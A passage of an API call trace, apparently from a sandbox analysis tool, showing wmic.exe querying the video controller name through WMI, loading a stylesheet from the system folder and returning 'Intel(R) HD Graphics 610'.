(_Size=0x18) returned 0x15c8e0 [0151.004] malloc (_Size=0x18) returned 0x15caa0 [0151.004] SysStringLen (param_1="") returned 0x9 [0151.004] SysStringLen (param_1=" path win32_VideoController get name") returned 0x3f [0151.004] memcpy (in: _Dst=0x47f6a8, _Src=0x491d68, _Size=0x14 | out: _Dst=0x47f6a8) returned 0x47f6a8 [0151.004] memcpy (in: _Dst=0x47f6ba, _Src=0x480908, _Size=0x80 | out: _Dst=0x47f6ba) returned 0x47f6ba [0151.004] free (_Block=0x15c8c0) [0151.005] free (_Block=0x15c8e0) [0151.005] ??0CHString@@QEAA@XZ () returned 0x20f3c8 [0151.005] malloc (_Size=0x18) returned 0x15c8e0 [0151.005] ??0CHString@@QEAA@XZ () returned 0x20f358 [0151.005] malloc (_Size=0x18) returned 0x15c8c0 [0151.005] malloc (_Size=0x8) returned 0x157fb0 [0151.005] memmove_s (in: _Destination=0x157fb0, _DestinationSize=0x8, _Source=0x156560, _SourceSize=0x8 | out: _Destination=0x157fb0) returned 0x0 [0151.005] malloc (_Size=0x18) returned 0x15ca00 [0151.005] malloc (_Size=0x20) returned 0x15cce0 [0151.005] memcpy_s (in: _Destination=0x15cce0, _DestinationSize=0x1e, _Source=0x4472a8, _SourceSize=0x14 | out: _Destination=0x15cce0) returned 0x0 [0151.005] lstrlenW (lpString="&") returned 1 [0151.005] lstrlenW (lpString="&") returned 5 [0151.006] lstrlenW (lpString="<") returned 1 [0151.006] lstrlenW (lpString="<") returned 4 [0151.006] lstrlenW (lpString=">") returned 1 [0151.006] lstrlenW (lpString=">") returned 4 [0151.006] lstrlenW (lpString="'") returned 1 [0151.006] lstrlenW (lpString="'") returned 6 [0151.006] lstrlenW (lpString="\"") returned 1 [0151.006] lstrlenW (lpString=""") returned 6 [0151.006] malloc (_Size=0x18) returned 0x15cae0 [0151.006] free (_Block=0x15ca00) [0151.007] free (_Block=0x15cce0) [0151.007] ?Format@CHString@@QEAAXPEBGZZ () returned 0x15ccec [0151.007] malloc (_Size=0x18) returned 0x15ca00 [0151.007] malloc (_Size=0x18) returned 0x15cb00 [0151.007] SysStringLen (param_1="") returned 0xa [0151.007] SysStringLen (param_1="Q9IATRKPRH") returned 0x17 [0151.007] memcpy (in: _Dst=0x414218, _Src=0x491d68, _Size=0x16 | out: _Dst=0x414218) returned 0x414218 [0151.007] memcpy (in: _Dst=0x41422c, _Src=0x4661d8, _Size=0x30 | out: _Dst=0x41422c) returned 0x41422c [0151.007] free (_Block=0x15c8c0) [0151.008] free (_Block=0x15ca00) [0151.008] malloc (_Size=0x18) returned 0x15ca00 [0151.008] malloc (_Size=0x18) returned 0x15c8c0 [0151.008] SysStringLen (param_1="Q9IATRKPRH") returned 0x21 [0151.008] SysStringLen (param_1="") returned 0xb [0151.008] memcpy (in: _Dst=0x480908, _Src=0x414218, _Size=0x44 | out: _Dst=0x480908) returned 0x480908 [0151.008] memcpy (in: _Dst=0x48094a, _Src=0x4472a8, _Size=0x18 | out: _Dst=0x48094a) returned 0x48094a [0151.008] free (_Block=0x15cb00) [0151.008] free (_Block=0x15ca00) [0151.008] free (_Block=0x15cae0) [0151.008] free (_Block=0x157fb0) [0151.008] ??1CHString@@QEAA@XZ () returned 0x2690cf01 [0151.009] malloc (_Size=0x18) returned 0x15cae0 [0151.009] SysStringLen (param_1="") returned 0x17 [0151.009] SysStringLen (param_1="Q9IATRKPRH") returned 0x2c [0151.009] memcpy (in: _Dst=0x480868, _Src=0x466278, _Size=0x30 | out: _Dst=0x480868) returned 0x480868 [0151.009] memcpy (in: _Dst=0x480896, _Src=0x480908, _Size=0x5a | out: _Dst=0x480896) returned 0x480896 [0151.009] free (_Block=0x15c8e0) [0151.009] lstrlenW (lpString="LIST") returned 4 [0151.009] lstrlenW (lpString="get") returned 3 [0151.009] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="LIST", cchCount2=4) returned 1 [0151.009] malloc (_Size=0x18) returned 0x15c8e0 [0151.009] malloc (_Size=0x18) returned 0x15ca00 [0151.009] SysStringLen (param_1="Q9IATRKPRH") returned 0x43 [0151.009] SysStringLen (param_1="") returned 0x18 [0151.010] memcpy (in: _Dst=0x494828, _Src=0x480868, _Size=0x88 | out: _Dst=0x494828) returned 0x494828 [0151.010] memcpy (in: _Dst=0x4948ae, _Src=0x4661d8, _Size=0x32 | out: _Dst=0x4948ae) returned 0x4948ae [0151.010] free (_Block=0x15cae0) [0151.010] free (_Block=0x15c8e0) [0151.010] free (_Block=0x15c8c0) [0151.010] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0151.010] malloc (_Size=0x18) returned 0x15c8c0 [0151.010] SysStringLen (param_1=" path win32_VideoController get name") returned 0x48 [0151.010] SysStringLen (param_1="Q9IATRKPRH") returned 0x5b [0151.010] memcpy (in: _Dst=0x48a718, _Src=0x47f6a8, _Size=0x92 | out: _Dst=0x48a718) returned 0x48a718 [0151.011] memcpy (in: _Dst=0x48a7a8, _Src=0x494828, _Size=0xb8 | out: _Dst=0x48a7a8) returned 0x48a7a8 [0151.011] free (_Block=0x15caa0) [0151.011] ??0CHString@@QEAA@XZ () returned 0x20f330 [0151.011] malloc (_Size=0x18) returned 0x15caa0 [0151.011] malloc (_Size=0x18) returned 0x15c8e0 [0151.011] malloc (_Size=0x18) returned 0x15cae0 [0151.014] malloc (_Size=0x18) returned 0x15cb00 [0151.014] malloc (_Size=0x18) returned 0x15cb20 [0151.014] malloc (_Size=0x18) returned 0x15ca60 [0151.014] malloc (_Size=0x18) returned 0x15cef0 [0151.014] malloc (_Size=0x18) returned 0x15cf10 [0151.014] memcpy_s (in: _Destination=0x20f230, _DestinationSize=0xe, _Source=0x491d38, _SourceSize=0xc | out: _Destination=0x20f230) returned 0x0 [0151.014] lstrlenW (lpString="&") returned 1 [0151.014] lstrlenW (lpString="&") returned 5 [0151.014] lstrlenW (lpString="<") returned 1 [0151.015] lstrlenW (lpString="<") returned 4 [0151.015] lstrlenW (lpString=">") returned 1 [0151.015] lstrlenW (lpString=">") returned 4 [0151.015] lstrlenW (lpString="'") returned 1 [0151.015] lstrlenW (lpString="'") returned 6 [0151.015] lstrlenW (lpString="\"") returned 1 [0151.015] lstrlenW (lpString=""") returned 6 [0151.015] malloc (_Size=0x18) returned 0x15cf30 [0151.015] free (_Block=0x15cf10) [0151.015] malloc (_Size=0x18) returned 0x15cf10 [0151.015] memcpy_s (in: _Destination=0x20f230, _DestinationSize=0xe, _Source=0x491d38, _SourceSize=0xc | out: _Destination=0x20f230) returned 0x0 [0151.015] lstrlenW (lpString="&") returned 1 [0151.015] lstrlenW (lpString="&") returned 5 [0151.016] lstrlenW (lpString="<") returned 1 [0151.016] lstrlenW (lpString="<") returned 4 [0151.016] lstrlenW (lpString=">") returned 1 [0151.016] lstrlenW (lpString=">") returned 4 [0151.016] lstrlenW (lpString="'") returned 1 [0151.016] lstrlenW (lpString="'") returned 6 [0151.016] lstrlenW (lpString="\"") returned 1 [0151.016] lstrlenW (lpString=""") returned 6 [0151.016] malloc (_Size=0x18) returned 0x15cf50 [0151.016] free (_Block=0x15cf10) [0151.016] malloc (_Size=0x18) returned 0x15cf10 [0151.016] memcpy_s (in: _Destination=0x20f230, _DestinationSize=0xe, _Source=0x491d38, _SourceSize=0x6 | out: _Destination=0x20f230) returned 0x0 [0151.016] lstrlenW (lpString="&") returned 1 [0151.017] lstrlenW (lpString="&") returned 5 [0151.017] lstrlenW (lpString="<") returned 1 [0151.017] lstrlenW (lpString="<") returned 4 [0151.017] lstrlenW (lpString=">") returned 1 [0151.017] lstrlenW (lpString=">") returned 4 [0151.017] lstrlenW (lpString="'") returned 1 [0151.017] lstrlenW (lpString="'") returned 6 [0151.017] lstrlenW (lpString="\"") returned 1 [0151.017] lstrlenW (lpString=""") returned 6 [0151.017] malloc (_Size=0x18) returned 0x15cf70 [0151.017] free (_Block=0x15cf10) [0151.017] malloc (_Size=0x18) returned 0x15cf10 [0151.017] memcpy_s (in: _Destination=0x20f230, _DestinationSize=0xe, _Source=0x491d38, _SourceSize=0x6 | out: _Destination=0x20f230) returned 0x0 [0151.017] lstrlenW (lpString="&") returned 1 [0151.017] lstrlenW (lpString="&") returned 5 [0151.018] lstrlenW (lpString="<") returned 1 [0151.018] lstrlenW (lpString="<") returned 4 [0151.018] lstrlenW (lpString=">") returned 1 [0151.018] lstrlenW (lpString=">") returned 4 [0151.018] lstrlenW (lpString="'") returned 1 [0151.018] lstrlenW (lpString="'") returned 6 [0151.018] lstrlenW (lpString="\"") returned 1 [0151.018] lstrlenW (lpString=""") returned 6 [0151.018] malloc (_Size=0x18) returned 0x15cf90 [0151.018] free (_Block=0x15cf10) [0151.018] malloc (_Size=0x18) returned 0x15cf10 [0151.018] malloc (_Size=0x20) returned 0x15cce0 [0151.019] memcpy_s (in: _Destination=0x15cce0, _DestinationSize=0x1e, _Source=0x491d38, _SourceSize=0x14 | out: _Destination=0x15cce0) returned 0x0 [0151.019] lstrlenW (lpString="&") returned 1 [0151.019] lstrlenW (lpString="&") returned 5 [0151.019] lstrlenW (lpString="<") returned 1 [0151.019] lstrlenW (lpString="<") returned 4 [0151.019] lstrlenW (lpString=">") returned 1 [0151.019] lstrlenW (lpString=">") returned 4 [0151.019] lstrlenW (lpString="'") returned 1 [0151.019] lstrlenW (lpString="'") returned 6 [0151.019] lstrlenW (lpString="\"") returned 1 [0151.019] lstrlenW (lpString=""") returned 6 [0151.019] malloc (_Size=0x18) returned 0x15cfb0 [0151.019] free (_Block=0x15cf10) [0151.020] free (_Block=0x15cce0) [0151.020] malloc (_Size=0x18) returned 0x15cf10 [0151.020] malloc (_Size=0x20) returned 0x15cce0 [0151.020] memcpy_s (in: _Destination=0x15cce0, _DestinationSize=0x1e, _Source=0x491d38, _SourceSize=0x10 | out: _Destination=0x15cce0) returned 0x0 [0151.020] lstrlenW (lpString="&") returned 1 [0151.020] lstrlenW (lpString="&") returned 5 [0151.021] lstrlenW (lpString="<") returned 1 [0151.021] lstrlenW (lpString="<") returned 4 [0151.021] lstrlenW (lpString=">") returned 1 [0151.021] lstrlenW (lpString=">") returned 4 [0151.021] lstrlenW (lpString="'") returned 1 [0151.021] lstrlenW (lpString="'") returned 6 [0151.021] lstrlenW (lpString="\"") returned 1 [0151.021] lstrlenW (lpString=""") returned 6 [0151.021] malloc (_Size=0x18) returned 0x15cfd0 [0151.021] free (_Block=0x15cf10) [0151.022] free (_Block=0x15cce0) [0151.022] malloc (_Size=0x18) returned 0x15cf10 [0151.022] memcpy_s (in: _Destination=0x20f230, _DestinationSize=0xe, _Source=0x491d38, _SourceSize=0xc | out: _Destination=0x20f230) returned 0x0 [0151.022] lstrlenW (lpString="&") returned 1 [0151.022] lstrlenW (lpString="&") returned 5 [0151.022] lstrlenW (lpString="<") returned 1 [0151.022] lstrlenW (lpString="<") returned 4 [0151.023] lstrlenW (lpString=">") returned 1 [0151.023] lstrlenW (lpString=">") returned 4 [0151.023] lstrlenW (lpString="'") returned 1 [0151.023] lstrlenW (lpString="'") returned 6 [0151.023] lstrlenW (lpString="\"") returned 1 [0151.023] lstrlenW (lpString=""") returned 6 [0151.023] malloc (_Size=0x18) returned 0x15cff0 [0151.023] free (_Block=0x15cf10) [0151.023] ?Format@CHString@@QEAAXPEBGZZ () returned 0x21dfdc [0151.025] malloc (_Size=0x18) returned 0x15cf10 [0151.025] ??1CHString@@QEAA@XZ () returned 0x6501 [0151.025] free (_Block=0x15cff0) [0151.025] free (_Block=0x15cfd0) [0151.025] free (_Block=0x15cfb0) [0151.025] free (_Block=0x15cef0) [0151.026] free (_Block=0x15cf90) [0151.026] free (_Block=0x15cf30) [0151.026] free (_Block=0x15cf50) [0151.026] free (_Block=0x15ca60) [0151.026] free (_Block=0x15cb20) [0151.026] free (_Block=0x15cf70) [0151.026] free (_Block=0x15cb00) [0151.026] free (_Block=0x15cae0) [0151.027] free (_Block=0x15caa0) [0151.027] free (_Block=0x15c8e0) [0151.027] malloc (_Size=0x18) returned 0x15c8e0 [0151.027] SysStringLen (param_1=" path win32_VideoController get nameQ9IATRKPRH") returned 0xa3 [0151.027] SysStringLen (param_1="root\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON") returned 0x173 [0151.027] memcpy (in: _Dst=0x493d68, _Src=0x48a718, _Size=0x148 | out: _Dst=0x493d68) returned 0x493d68 [0151.027] memcpy (in: _Dst=0x493eae, _Src=0x4935f8, _Size=0x2e8 | out: _Dst=0x493eae) returned 0x493eae [0151.027] free (_Block=0x15c8c0) [0151.027] malloc (_Size=0x18) returned 0x15c8c0 [0151.027] malloc (_Size=0x18) returned 0x15caa0 [0151.028] SysStringLen (param_1=" path win32_VideoController get nameQ9IATRKPRHroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON") returned 0x216 [0151.028] SysStringLen (param_1="") returned 0xa [0151.028] memcpy (in: _Dst=0x492c88, _Src=0x493d68, _Size=0x42e | out: _Dst=0x492c88) returned 0x492c88 [0151.028] memcpy (in: _Dst=0x4930b4, _Src=0x491d38, _Size=0x16 | out: _Dst=0x4930b4) returned 0x4930b4 [0151.028] free (_Block=0x15c8e0) [0151.028] free (_Block=0x15c8c0) [0151.028] free (_Block=0x15ca80) [0151.028] free (_Block=0x15ca00) [0151.029] free (_Block=0x15cf10) [0151.029] ??1CHString@@QEAA@XZ () returned 0x2690cf01 [0151.029] malloc (_Size=0x18) returned 0x15ca00 [0151.029] SysStringLen (param_1="") returned 0x0 [0151.029] SysStringLen (param_1="") returned 0x60 [0151.029] memcpy (in: _Dst=0x4930e8, _Src=0x410a38, _Size=0x2 | out: _Dst=0x4930e8) returned 0x4930e8 [0151.029] memcpy (in: _Dst=0x4930e8, _Src=0x469988, _Size=0xc2 | out: _Dst=0x4930e8) returned 0x4930e8 [0151.029] free (_Block=0x15c880) [0151.029] malloc (_Size=0x18) returned 0x15c880 [0151.029] SysStringLen (param_1="") returned 0x60 [0151.029] SysStringLen (param_1=" path win32_VideoController get nameQ9IATRKPRHroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON") returned 0x220 [0151.029] memcpy (in: _Dst=0x495bb8, _Src=0x4930e8, _Size=0xc2 | out: _Dst=0x495bb8) returned 0x495bb8 [0151.030] memcpy (in: _Dst=0x495c78, _Src=0x492c88, _Size=0x442 | out: _Dst=0x495c78) returned 0x495c78 [0151.030] free (_Block=0x15ca00) [0151.030] WbemLocator:IUnknown:Release (This=0x4765e0) returned 0x0 [0151.031] ?Empty@CHString@@QEAAXXZ () returned 0x7fef4dfc96c [0151.031] malloc (_Size=0x18) returned 0x15ca00 [0151.031] SysStringLen (param_1="") returned 0x0 [0151.031] SysStringLen (param_1="Intel(R) HD Graphics 610") returned 0xbd [0151.031] memcpy (in: _Dst=0x493d68, _Src=0x45f668, _Size=0x2 | out: _Dst=0x493d68) returned 0x493d68 [0151.032] memcpy (in: _Dst=0x493d68, _Src=0x494688, _Size=0x17c | out: _Dst=0x493d68) returned 0x493d68 [0151.032] free (_Block=0x15c8a0) [0151.032] _kbhit () returned 0x0 [0151.037] malloc (_Size=0x18) returned 0x15c8a0 [0151.037] SysStringLen (param_1=" path win32_VideoController get nameQ9IATRKPRHroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON") returned 0x280 [0151.037] SysStringLen (param_1="Intel(R) HD Graphics 610") returned 0xbd [0151.037] memcpy (in: _Dst=0x4960d8, _Src=0x495bb8, _Size=0x502 | out: _Dst=0x4960d8) returned 0x4960d8 [0151.037] memcpy (in: _Dst=0x4965d8, _Src=0x493d68, _Size=0x17c | out: _Dst=0x4965d8) returned 0x4965d8 [0151.037] free (_Block=0x15c880) [0151.037] malloc (_Size=0x18) returned 0x15c880 [0151.038] malloc (_Size=0x18) returned 0x15ca80 [0151.038] SysStringLen (param_1=" path win32_VideoController get nameQ9IATRKPRHroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AONIntel(R) HD Graphics 610") returned 0x33d [0151.038] SysStringLen (param_1="") returned 0xa [0151.038] memcpy (in: _Dst=0x496778, _Src=0x4960d8, _Size=0x67c | out: _Dst=0x496778) returned 0x496778 [0151.038] memcpy (in: _Dst=0x496df2, _Src=0x491d38, _Size=0x16 | out: _Dst=0x496df2) returned 0x496df2 [0151.038] free (_Block=0x15c8a0) [0151.038] free (_Block=0x15c880) [0151.039] GetCurrentThreadId () returned 0xfdc [0151.039] ??0CHString@@QEAA@PEBG@Z () returned 0x20f428 [0151.039] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x20f428 [0151.039] lstrlenW (lpString="LIST") returned 4 [0151.039] lstrlenW (lpString="get") returned 3 [0151.039] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="LIST", cchCount2=4) returned 1 [0151.039] lstrlenW (lpString="ASSOC") returned 5 [0151.039] lstrlenW (lpString="get") returned 3 [0151.039] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="ASSOC", cchCount2=5) returned 3 [0151.039] lstrlenW (lpString="GET") returned 3 [0151.040] lstrlenW (lpString="get") returned 3 [0151.040] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0151.040] malloc (_Size=0x20a) returned 0x15d6c0 [0151.040] GetSystemDirectoryW (in: lpBuffer=0x15d6c0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0151.041] free (_Block=0x15d6c0) [0151.041] malloc (_Size=0x18) returned 0x15c880 [0151.041] malloc (_Size=0x18) returned 0x15c8a0 [0151.041] malloc (_Size=0x18) returned 0x15c8c0 [0151.041] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0151.041] SysStringLen (param_1="\\wbem\\") returned 0x6 [0151.042] memcpy (in: _Dst=0x466278, _Src=0x4661d8, _Size=0x28 | out: _Dst=0x466278) returned 0x466278 [0151.042] memcpy (in: _Dst=0x46629e, _Src=0x491d38, _Size=0xe | out: _Dst=0x46629e) returned 0x46629e [0151.042] free (_Block=0x15c880) [0151.042] free (_Block=0x15c8a0) [0151.042] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0151.042] free (_Block=0x15c8c0) [0151.042] malloc (_Size=0x18) returned 0x15c8c0 [0151.042] malloc (_Size=0x18) returned 0x15c8a0 [0151.043] malloc (_Size=0x18) returned 0x15c880 [0151.043] malloc (_Size=0x18) returned 0x15c8e0 [0151.043] malloc (_Size=0x18) returned 0x15cae0 [0151.043] malloc (_Size=0x18) returned 0x15cb00 [0151.043] lstrlenW (lpString="TABLE") returned 5 [0151.043] lstrlenW (lpString="CSV") returned 3 [0151.043] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="CSV", cchCount1=3, lpString2="TABLE", cchCount2=5) returned 1 [0151.043] lstrlenW (lpString="TABLE") returned 5 [0151.043] lstrlenW (lpString="HFORM") returned 5 [0151.043] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="HFORM", cchCount1=5, lpString2="TABLE", cchCount2=5) returned 1 [0151.044] lstrlenW (lpString="TABLE") returned 5 [0151.044] lstrlenW (lpString="HTABLE") returned 6 [0151.044] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="HTABLE", cchCount1=6, lpString2="TABLE", cchCount2=5) returned 1 [0151.044] lstrlenW (lpString="TABLE") returned 5 [0151.044] lstrlenW (lpString="LIST") returned 4 [0151.044] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="LIST", cchCount1=4, lpString2="TABLE", cchCount2=5) returned 1 [0151.044] lstrlenW (lpString="TABLE") returned 5 [0151.044] lstrlenW (lpString="MOF") returned 3 [0151.044] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="MOF", cchCount1=3, lpString2="TABLE", cchCount2=5) returned 1 [0151.044] lstrlenW (lpString="TABLE") returned 5 [0151.044] lstrlenW (lpString="RAWXML") returned 6 [0151.044] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="RAWXML", cchCount1=6, lpString2="TABLE", cchCount2=5) returned 1 [0151.044] lstrlenW (lpString="TABLE") returned 5 [0151.044] lstrlenW (lpString="TABLE") returned 5 [0151.045] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="TABLE", cchCount1=5, lpString2="TABLE", cchCount2=5) returned 2 [0151.045] SysStringLen (param_1="texttable.xsl") returned 0xd [0151.045] SysStringLen (param_1="hform.xsl") returned 0x9 [0151.045] SysStringLen (param_1="texttable.xsl") returned 0xd [0151.045] SysStringLen (param_1="htable.xsl") returned 0xa [0151.045] SysStringLen (param_1="texttable.xsl") returned 0xd [0151.045] SysStringLen (param_1="csv.xsl") returned 0x7 [0151.045] SysStringLen (param_1="texttable.xsl") returned 0xd [0151.045] SysStringLen (param_1="mof.xsl") returned 0x7 [0151.045] SysStringLen (param_1="texttable.xsl") returned 0xd [0151.045] SysStringLen (param_1="xml.xsl") returned 0x7 [0151.045] malloc (_Size=0x18) returned 0x15cb20 [0151.046] malloc (_Size=0x18) returned 0x15ca60 [0151.046] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\") returned 0x19 [0151.046] SysStringLen (param_1="\\") returned 0x1 [0151.046] memcpy (in: _Dst=0x466278, _Src=0x4661d8, _Size=0x34 | out: _Dst=0x466278) returned 0x466278 [0151.046] memcpy (in: _Dst=0x4662aa, _Src=0x491cd8, _Size=0x4 | out: _Dst=0x4662aa) returned 0x4662aa [0151.046] free (_Block=0x15cb20) [0151.046] malloc (_Size=0x18) returned 0x15cb20 [0151.046] SysStringLen (param_1="C:\\Windows\\system32\\wbem\\\\") returned 0x1a [0151.046] SysStringLen (param_1="texttable.xsl") returned 0xd [0151.046] memcpy (in: _Dst=0x494828, _Src=0x466278, _Size=0x36 | out: _Dst=0x494828) returned 0x494828 [0151.046] memcpy (in: _Dst=0x49485c, _Src=0x3f6708, _Size=0x1c | out: _Dst=0x49485c) returned 0x49485c [0151.046] free (_Block=0x15ca60) [0151.047] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\\\texttable.xsl" (normalized: "c:\\windows\\system32\\wbem\\texttable.xsl"), dwDesiredAccess=0x0, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270 [0151.047] CloseHandle (hObject=0x270) returned 1 [0151.047] malloc (_Size=0x30) returned 0x1586c0 [0151.047] malloc (_Size=0x30) returned 0x158700 [0151.047] ??0CHString@@QEAA@PEBG@Z () returned 0x20f188 [0151.047] ?Right@CHString@@QEBA?AV1@H@Z () returned 0x20f180 [0151.047] ??0CHString@@QEAA@PEBG@Z () returned 0x20f1d8 [0151.047] _wcsicmp (_String1=".xsl", _String2=".xsl") returned 0 [0151.047] ??1CHString@@QEAA@XZ () returned 0x1 [0151.048] ??1CHString@@QEAA@XZ () returned 0x1 [0151.048] ??1CHString@@QEAA@XZ () returned 0x2690cf01 [0151.048] malloc (_Size=0x30) returned 0x158740 [0151.048] malloc (_Size=0x20) returned 0x15cce0 [0151.048] malloc (_Size=0x30) returned 0x158780 [0151.049] free (_Block=0x158740) [0151.050] free (_Block=0x158700) [0151.051] free (_Block=0x1586c0) [0151.051] free (_Block=0x15cb00) [0151.052] free (_Block=0x15cae0) [0151.052] free (_Block=0x15c8e0) [0151.052] free (_Block=0x15c880) [0151.052] free (_Block=0x15c8a0) [0151.052] free (_Block=0x15c8c0) [0151.052] GetCurrentThreadId () returned 0xfdc [0151.052] ??0CHString@@QEAA@XZ () returned 0x20f230 [0151.052] CoCreateInstance (in: rclsid=0xff1e7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xff1e73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0xff2529e8 | out: ppv=0xff2529e8*=0x20a71d0) returned 0x0 [0151.054] FreeThreadedDOMDocument:IXMLDOMDocument:loadXML (in: This=0x20a71d0, bstrXML=" path win32_VideoController get nameQ9IATRKPRHroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AONIntel(R) HD Graphics 610", isSuccessful=0x20f214 | out: isSuccessful=0x20f214*=0xffff) returned 0x0 [0151.057] ??0CHString@@QEAA@XZ () returned 0x20ef10 [0151.057] GetCurrentThreadId () returned 0xfdc [0151.057] malloc (_Size=0x20) returned 0x15cd80 [0151.057] malloc (_Size=0x30) returned 0x1586c0 [0151.057] CoCreateInstance (in: rclsid=0xff1e7420*(Data1=0x2933bf94, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), pUnkOuter=0x0, dwClsContext=0x15, riid=0xff1e7400*(Data1=0x2933bf93, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x20ef28 | out: ppv=0x20ef28*=0x20a7620) returned 0x0 [0151.061] CoCreateInstance (in: rclsid=0xff1e7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x15, riid=0xff1e73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x20ef40 | out: ppv=0x20ef40*=0x20ab330) returned 0x0 [0151.062] FreeThreadedDOMDocument:IXMLDOMDocument:put_async (This=0x20ab330, async=0) returned 0x0 [0151.062] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\\\texttable.xsl") returned 0x4e [0151.062] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x20ab330, xmlSource=0x20f0e0*(varType=0x8, wReserved1=0x20a, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\\\texttable.xsl", varVal2=0x0), isSuccessful=0x20f1d8 | out: isSuccessful=0x20f1d8*=0xffff) returned 0x0 [0151.067] XSLTemplate:IXSLTemplate:putref_stylesheet (This=0x20a7620, stylesheet=0x20ab330) returned 0x0 [0151.130] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x20cd20 | out: lpSystemTimeAsFileTime=0x20cd20*(dwLowDateTime=0xda0f7ec0, dwHighDateTime=0x1da5ebf)) [0151.131] GetCurrentProcessId () returned 0xfd8 [0151.131] GetCurrentThreadId () returned 0xfdc [0151.131] GetTickCount () returned 0xa69d4b [0151.131] QueryPerformanceCounter (in: lpPerformanceCount=0x20cd28 | out: lpPerformanceCount=0x20cd28*=1107176610682) returned 1 [0151.132] malloc (_Size=0x100) returned 0x159ff0 [0151.132] __dllonexit () returned 0x7fef463bfc0 [0151.133] __dllonexit () returned 0x7fef463bfa8 [0151.133] __dllonexit () returned 0x7fef463bfd4 [0151.134] GetUserDefaultLCID () returned 0x409 [0151.134] GetVersion () returned 0x1db10106 [0151.135] ??2@YAPEAX_K@Z () returned 0x15d6c0 [0151.136] ??2@YAPEAX_K@Z () returned 0x15d720 [0151.136] GetUserDefaultLCID () returned 0x409 [0151.136] GetACP () returned 0x4e4 [0151.137] ??3@YAXPEAX@Z () returned 0x2690cf01 [0151.139] GetCurrentThreadId () returned 0xfdc [0151.139] ??2@YAPEAX_K@Z () returned 0x15dab0 [0151.139] GetCurrentThreadId () returned 0xfdc [0151.139] ??2@YAPEAX_K@Z () returned 0x15cdb0 [0151.139] ??2@YAPEAX_K@Z () returned 0x158700 [0151.139] ??2@YAPEAX_K@Z () returned 0x15db90 [0151.139] ??2@YAPEAX_K@Z () returned 0x158740 [0151.139] GetCurrentThreadId () returned 0xfdc [0151.139] ??2@YAPEAX_K@Z () returned 0x15dc60 [0151.140] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0151.140] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x20ea30, cchData=6 | out: lpLCData="1252") returned 5 [0151.140] IsValidCodePage (CodePage=0x4e4) returned 1 [0151.142] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefdf10000 [0151.142] GetProcAddress (hModule=0x7fefdf10000, lpProcName="CoCreateInstance") returned 0x7fefdf37490 [0151.142] CoCreateInstance (in: rclsid=0x7fef468d5a8*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, 